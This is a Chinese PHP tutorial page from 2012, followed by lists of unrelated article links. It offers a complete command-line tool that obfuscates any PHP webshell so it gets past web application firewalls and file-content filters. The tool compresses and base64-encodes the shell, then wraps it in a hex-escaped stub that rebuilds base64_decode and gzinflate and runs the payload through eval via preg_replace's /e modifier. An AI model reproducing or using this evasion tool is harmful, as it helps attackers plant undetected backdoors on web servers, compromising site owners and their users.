php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
用php实现选择排序的解决方法
May 04 PHP
PHP使用DES进行加密与解密的方法详解
Jun 06 PHP
php获取中文拼音首字母类和函数分享
Apr 24 PHP
PHP实现过滤各种HTML标签
May 17 PHP
详解WordPress开发中wp_title()函数的用法
Jan 07 PHP
PHP实现带重试功能的curl连接示例
Jul 28 PHP
PHP对XML内容进行修改和删除实例代码
Oct 26 PHP
php如何实现不借助IDE快速定位行数或者方法定义的文件和位置
Jan 17 PHP
ThinkPHP 3.2.3实现页面静态化功能的方法详解
Aug 03 PHP
php数组和链表的区别总结
Sep 20 PHP
MacOS下PHP7.1升级到PHP7.4.15的方法
Feb 22 PHP
php 文件上传至OSS及删除远程阿里云OSS文件
Jul 04 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
怎么使 Mysql 数据同步
2006/10/09 PHP
无法在发生错误时创建会话,请检查 PHP 或网站服务器日志,并正确配置 PHP 安装(win+linux)
2012/05/05 PHP
PHP中调用SVN命令更新网站方法
2015/01/07 PHP
PHP实现QQ空间自动回复说说的方法
2015/12/02 PHP
Joomla简单判断用户是否登录的方法
2016/05/04 PHP
linux平台编译安装PHP7并安装Redis扩展与Swoole扩展实例教程
2016/09/30 PHP
jQuery Tips 为AJAX回调函数传递额外参数的方法
2010/12/28 Javascript
Node.js重新刷新session过期时间的方法
2016/02/04 Javascript
原生JS:Date对象全面解析
2016/09/06 Javascript
任意Json转成无序列表的方法示例
2016/12/09 Javascript
使用vue.js实现checkbox的全选和多个的删除功能
2017/02/17 Javascript
canvas绘图不清晰的解决方案
2017/02/28 Javascript
详解Angular-Cli中引用第三方库
2017/05/21 Javascript
JavaScript实现跟随滚动缓冲运动广告框
2017/07/15 Javascript
Vue项目中如何引入icon图标
2018/03/28 Javascript
angular6.0开发教程之如何安装angular6.0框架
2018/06/29 Javascript
Vue + Node.js + MongoDB图片上传组件实现图片预览和删除功能详解
2020/04/29 Javascript
JavaScript 如何计算文本的行数的实现
2020/09/14 Javascript
在vue中动态修改css其中一个属性值操作
2020/12/07 Vue.js
[54:10]完美世界DOTA2联赛PWL S2 Magma vs FTD 第二场 11.29
2020/12/03 DOTA
Python对小数进行除法运算的正确方法示例
2014/08/25 Python
Python中的面向对象编程详解(下)
2015/04/13 Python
python MySQLdb使用教程详解
2018/03/20 Python
python离线安装外部依赖包的实现
2020/02/13 Python
python实现爱奇艺登陆密码RSA加密的方法示例详解
2020/05/27 Python
Python Selenium XPath根据文本内容查找元素的方法
2020/12/07 Python
Css3+Js制作漂亮时钟(附源码)
2013/04/24 HTML / CSS
C&A巴西网上商店:时尚、衣服、手机和鞋子
2020/06/07 全球购物
高分子材料个人求职信范文
2013/09/25 职场文书
研究生就业推荐表导师评语
2014/12/31 职场文书
毕业证明模板
2015/06/19 职场文书
学生会副主席竞选稿
2015/11/19 职场文书
2016年幼儿园教师政治学习心得体会
2016/01/23 职场文书
2016国庆促销广告语
2016/01/28 职场文书
golang通过递归遍历生成树状结构的操作
2021/04/28 Golang
解决Pytorch dataloader时报错每个tensor维度不一样的问题
2021/05/28 Python